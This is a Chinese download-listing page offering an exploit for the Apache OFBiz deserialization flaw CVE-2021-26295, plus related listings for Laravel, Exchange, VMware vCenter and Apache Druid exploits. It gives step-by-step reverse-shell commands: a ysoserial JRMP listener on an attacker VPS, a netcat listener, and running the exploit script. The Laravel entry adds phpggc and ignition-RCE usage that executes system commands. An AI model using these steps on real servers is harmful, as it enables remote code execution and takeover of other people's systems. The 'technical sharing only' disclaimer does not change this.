Advertisement

CVE-2021-26295: 成功利用CVE-2021-26295漏洞进行shell反弹攻击

  •  5星
  •     浏览量: 0
  •     大小:None
  •      文件类型：ZIP

简介：
本文探讨了CVE-2021-26295漏洞，详细描述了如何通过此安全弱点实现远程代码执行，并成功实施了一次Shell反弹攻击。 CVE-2021-26295 EXP可成功反弹shell 本段落以及工具仅限于技术共享，不能用于非法用途，否则一切后果自行承担。 触发命令执行EXP的方法如下： 1. 在VPS上启动RMI监听端口9999： ``` java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 [要执行的命令] ``` 2. 在VPS上启动nc监听端口64444： ``` nc -lvp 64444 ``` 3. 执行python脚本： ``` python3 cve-2021-26295_exp.py ``` 示例：

全部评论 (0)

还没有任何评论哟~
客服
客服
客服关闭
  • CVE-2021-26295: 成功利用CVE-2021-26295漏洞进行shell反弹攻击
    优质
    本文探讨了CVE-2021-26295漏洞，详细描述了如何通过此安全弱点实现远程代码执行，并成功实施了一次Shell反弹攻击。 CVE-2021-26295 EXP可成功反弹shell 本段落以及工具仅限于技术共享，不能用于非法用途，否则一切后果自行承担。 触发命令执行EXP的方法如下： 1. 在VPS上启动RMI监听端口9999： ``` java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 [要执行的命令] ``` 2. 在VPS上启动nc监听端口64444： ``` nc -lvp 64444 ``` 3. 执行python脚本： ``` python3 cve-2021-26295_exp.py ``` 示例：
     
  • Apache OFBiz CVE-2021-26295: RMI反序列化漏洞...
    优质
    本篇文章主要介绍了Apache OFBiz中的CVE-2021-26295 RMI反序列化安全漏洞，详细解析了该漏洞的原因、影响及修复方法。 CVE-2021-26295 是 Apache OFBiz 中的一个 rmi 反序列化漏洞的利用证明（POC）。使用该 POC 时需要将 ysoserial.jar 放置在指定目录，并且不能使用较高版本的 Java。
     
  • Apache OFBiz反序列化漏洞（CVE-2021-26295）.md
    优质
    本文章介绍了Apache OFBiz框架中的一个关键安全漏洞(CVE-2021-26295)，分析了该漏洞的技术细节及其潜在危害，并提供了相应的修复建议。 CVE-2021-26295 是 Apache OFBiz 中的一个反序列化漏洞。此漏洞可能被攻击者利用来执行恶意代码或获取敏感数据。建议受影响的用户尽快更新到最新版本以修复该问题。
     
  • CVE-2021-21972：针对CVE-2021-21972的漏洞利用
    优质
    该简介涉及的是对CVE-2021-21972的安全漏洞进行深入分析与利用的技术探讨，旨在提高系统安全性。 CVE-2021-21972影响VMware VCSA 6.7.0版本（8217866）及VIM 6.7.0版本（8217866）。同样，此漏洞也存在于VCSA 6.5.0版本（16613358）中。然而，对于vCenter 6.7 U2 和更高版本，在内存中运行的网站不受此Exploit的影响。 需要进一步测试的是vCenter 6.5 Linux (VCSA)和Windows版本、以及vCenter 6.7 Linux (VCSA)和Windows版本及vCenter 7.0 Linux (VCSA)和Windows版本。存在漏洞的具体接口为/ui/vropspluginui/rest/services/uploadova，完整路径是https://domain.com/ui/vropspluginui/r。 该问题允许任意文件上传。
     
  • Laravel Exploits: CVE-2021-3129 漏洞利用分析
    优质
    本文章详细解析了CVE-2021-3129漏洞在Laravel框架中的潜在威胁与影响，深入探讨其技术细节，并提供有效的防护措施和安全建议。 Laravel漏洞利用CVE-2021-3129的详细信息如下： 使用方法： ``` $ php -d phar.readonly=0 ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar ``` 日志文件：`/work/pentest/laravel/laravel/storage/logs/laravel.log` 清除日志信息 成功转换为PHAR！ Phar反序列化完成
     
  • Apache Druid CVE-2021-25646 漏洞 PoC.py
    优质
    这段代码是针对Apache Druid中存在的CVE-2021-25646漏洞的PoC（Proof of Concept），旨在帮助安全研究人员验证系统是否受该漏洞影响。 CVE-2021-25646 是 Apache Druid 中的一个漏洞，这里提供了一个关于该漏洞的 PoC（Proof of Concept）代码文件名是 CVE-2021-25646-Apache Druid 漏洞 POC.py。
     
  • CVE-2021-26855-PoC: 关于CVE-2021-26855的PoC攻击示例代码
    优质
    本页面提供关于CVE-2021-26855漏洞的Proof of Concept（PoC）攻击示例代码，旨在帮助安全研究人员了解该漏洞的技术细节与潜在危害。 CVE-2021-26855-PoC 是针对 CVE-2021-26855 漏洞的漏洞利用代码示例。该漏洞影响特定版本的 Exchange Server：Exchange Server 2013 小于 CU23，Exchange Server 2016 小于 CU18，以及 Exchange Server 2019 小于 CU7。 此漏洞与之前的交换服务器漏洞不同之处在于，它不需要用户登录权限即可触发。攻击者可以未经授权获取内部资源，并且能够结合 CVE-2021-27065 实现远程命令执行功能。 要利用该漏洞，目标服务器必须满足以下条件：受影响的 Exchange 服务器需要处于负载均衡配置下。
     
  • Apache Druid CVE-2021-25646命令执行漏洞复现.zip
    优质
    该资料包提供了关于Apache Druid中CVE-2021-25646漏洞的详细信息及其实验环境，帮助安全研究人员与开发人员理解和重现此高危命令执行漏洞。 Apache Druid 命令执行漏洞（CVE-2021-25646）复现学习笔记包括以下四部分内容：1. Apache Druid 命令执行漏洞（CVE-2021-25646）复现.pdf；2. apache-druid-0.20.0-bin.tar.gz；3. dns解析.txt；4. 反弹shell.txt。
     
  • Nmap脚本中的CVE-2021-21975漏洞检测
    优质
    本文介绍如何在Nmap脚本中利用特定工具和技术来检测CVE-2021-21975漏洞，提供网络安全专业人士实用指导。 CVE-2021-21975是一个与Nmap脚本检查相关的漏洞。可以使用以下命令进行检测： nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
     
  • CVE-2021-22192: 未授权用户远程代码执行漏洞靶场
    优质
    本靶场环境旨在模拟和演示针对特定软件版本的CVE-2021-22192漏洞，涉及未授权用户实现远程代码执行的风险场景。 CVE-2021-22192 是一个未授权用户RCE漏洞。 靶场环境： ``` CVE-2021-22192 ├── README.md ............... 用于说明此漏洞的文档 ├── imgs .................... 包含辅助解释的图片文件夹 ├── gitlab .................. Gitlab 容器挂载目录 │ ├── Dockerfile .......... 构建Gitlab容器使用的Docker配置文件 │ ├── config .............. 存放Gitlab 配置文件的挂载目录 │ ├── data ................ 用于存储数据的Gitlab 挂载目录 │ └── logs ................ Gitlab 日志存放位置 ```